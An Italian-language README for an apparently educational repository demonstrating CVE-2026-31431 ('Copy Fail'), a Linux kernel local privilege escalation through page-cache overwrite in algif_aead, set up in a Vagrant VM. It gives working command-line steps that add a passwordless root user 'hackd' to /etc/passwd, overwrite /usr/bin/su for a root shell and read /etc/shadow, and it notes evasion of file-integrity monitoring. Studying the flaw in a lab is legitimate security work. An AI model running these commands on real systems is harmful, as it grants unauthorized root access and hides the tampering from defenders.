
Una demo e spiegazione di CVE-2026-31431
Una dimostrazione e spiegazione di CVE-2026-31431, la vulnerabilità di escalation dei privilegi locali nel kernel Linux denominata Copy Fail. La vulnerabilità consente la sovrascrittura dei dati nella cache delle pagine per file aperti con permessi di sola lettura.
Questo repository ha solo scopo educativo e illustra la vulnerabilità in un ambiente controllato. I file inclusi sono:
├── exploit
│ ├── copy_fail.py # Exploit personalizzato che può colpire qualsiasi file con permessi di lettura
│ ├── original_payload.txt # Copia del payload utilizzato nell'exploit originale
│ ├── copy_fail_original.py # Exploit originale che sovrascrive /usr/bin/su
│ └── copy_fail_readable.py # Exploit originale in formato più leggibile con spiegazione del payload
├── README.md
└── Vagrantfile # Configurazione per la VM Vagrant che esegue Ubuntu 22.04
La vulnerabilità, denominata Copy Fail, è presente nei kernel Linux dal 2017 al 2026 a causa di un difetto logico in algif_aead. Le è stato assegnato CVE-2026-31431 con un punteggio CVSS di 7.8, che comporta una valutazione di gravità alta. L'exploit è deterministico e può bypassare gli strumenti tradizionali di monitoraggio dell'integrità dei file.
Prove di concetto sono state pubblicate in vari linguaggi, tra cui C, Python e Go, ma per questa dimostrazione viene utilizzato Python e richiede Python versione 3.10 o superiore. Questo exploit richiede l'esecuzione locale di codice come utente non privilegiato e può essere utilizzato per l'escalation dei privilegi locali.
Le sezioni successive sono:
Assicurati di avere Vagrant e QEMU installati. Quindi, clona questo repository e spostati nella directory del progetto.
vagrant up
vagrant ssh
All'interno della VM, possiamo testare i limiti delle nostre capacità.
id # uid=1000(vagrant) gid=1000(vagrant) groups=1000(vagrant)
su # Ci viene chiesta la password di root, che non abbiamo
stat /usr/bin/su # Abbiamo permessi di lettura ed esecuzione
stat /etc/passwd # Abbiamo permessi di lettura
stat /etc/shadow # Non abbiamo alcun permesso
Ovviamente siamo limitati nelle nostre capacità, ma possiamo usare la vulnerabilità per escalare i privilegi.
Per capire la vulnerabilità, sovrascriviamo un file fittizio e vediamo cosa succede.
echo -e "ABCDE\nF\nG" > dummy.txt
cat dummy.txt
Abbiamo un file con tre righe. La prima riga è lunga 6 byte (incluso il newline), la seconda è di 2 byte, la terza è di un singolo byte. Questo è importante perché l'exploit sovrascrive i dati in blocchi di 4 byte e riempiamo il payload per completarlo.
python3 exploit/copy_fail.py --target dummy.txt --payload "123456"
cat dummy.txt
Possiamo vedere che abbiamo sostituito i primi 8 byte del file con il nostro payload. Ci sono due caratteri presenti ma non stampabili. Apri il file in nano per controllare.
Ma questo non è molto interessante, quindi passiamo a scrivere in file per i quali non abbiamo permessi di scrittura.
Possiamo sovrascrivere il contenuto di /etc/passwd per aggiungere un utente con privilegi di root ma senza password.
cat /etc/passwd
La prima riga contiene l'utente root ed è composta da 8 gruppi di 4 caratteri (incluso il newline). È formattata come root:x:0:0:root:/root:/bin/bash, e i valori si riferiscono a nome utente, password, UID, GID, home directory, shell.
python3 exploit/copy_fail.py --target /etc/passwd --payload "hackd::0:0:root:/root:/bin/bash
"
cat /etc/passwd
Abbiamo aggiunto un nuovo utente hackd con UID 0 e GID 0, il che significa che ha privilegi di root. Il campo password è vuoto, quindi possiamo accedere senza password.
su hackd
id
cat /etc/shadow
Nell'exploit originale, il binario /usr/bin/su viene sovrascritto con istruzioni per eseguire una shell, consentendo all'attaccante di ottenere privilegi di root quando esegue su. Possiamo ricreare questo exploit puntando a /usr/bin/su con il payload originale da un file.
Nota che questo distrugge il binario su nella cache delle pagine.
python3 exploit/copy_fail.py --target /usr/bin/su --payload-file exploit/original_payload.txt
Con il payload in posizione, possiamo eseguire su e ottenere privilegi di root. Questo apre una shell con user id 0, che tipicamente è l'utente root, ma se la demo precedente è stata eseguita, sarebbe l'utente hackd che abbiamo creato. Questo exploit aprirebbe una shell anche se l'utente root ha una password.
su
id
Questo exploit non modifica il file su disco, ma piuttosto lo stato della cache delle pagine. Di conseguenza, gli strumenti tradizionali di monitoraggio dell'integrità dei file che controllano le modifiche ai file su disco non rilevano questo exploit.
Per dimostrarlo, esegui l'exploit sopra e dopo un riavvio della VM, controlla il contenuto del file bersaglio.
vagrant halt
vagrant up
vagrant ssh
cat /etc/passwd # Il file è immutato su disco
I seguenti componenti sono utilizzati nell'exploit:
AD||CT||TAGTAGseqno_hi||seqno_lo||CT||TAG -> seqno_lo||seqno_hi||CT||TAG||seqno_loIl commit che ha abilitato l'ottimizzazione in-place che ha creato questa vulnerabilità:
https://github.com/torvalds/linux/commit/72548b093ee38a6d4f2a19e6ef1948ae05c181f7
La patch è stata realizzata senza annunci pubblici e rimuove la funzionalità dell'operazione in-place in algif_aead:
https://github.com/torvalds/linux/commit/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5
Leggi di più:
Implementazioni in Python
Implementazioni in C
Implementazioni in Go